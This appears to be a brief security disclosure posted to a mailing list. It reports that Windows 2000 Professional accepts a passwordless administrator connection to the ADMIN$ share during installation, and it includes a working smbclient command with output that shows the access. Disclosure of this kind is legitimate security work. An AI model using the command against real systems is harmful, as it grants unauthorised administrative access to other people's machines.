Hi !

During the installation process of Windows 2000 professionnal anyone
can connect to the ADMIN$ share as ADMINISTRATOR whithout any password.

Verification :

% ./smbclient \\\\WINDOZE\\ADMIN$ -I xxx.yyy.zzz.ttt -U 'administrator' -d 0 -N
Unable to open configuration file "/usr/local/samba/lib/smb.conf"!
pm_process retuned false
Can't load /usr/local/samba/lib/smb.conf - run testparm to debug it
Domain=[GROAR] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \>

Regards,
Stephane

PS : smbclient is a part of SAMBA (http://www.samba.org/).
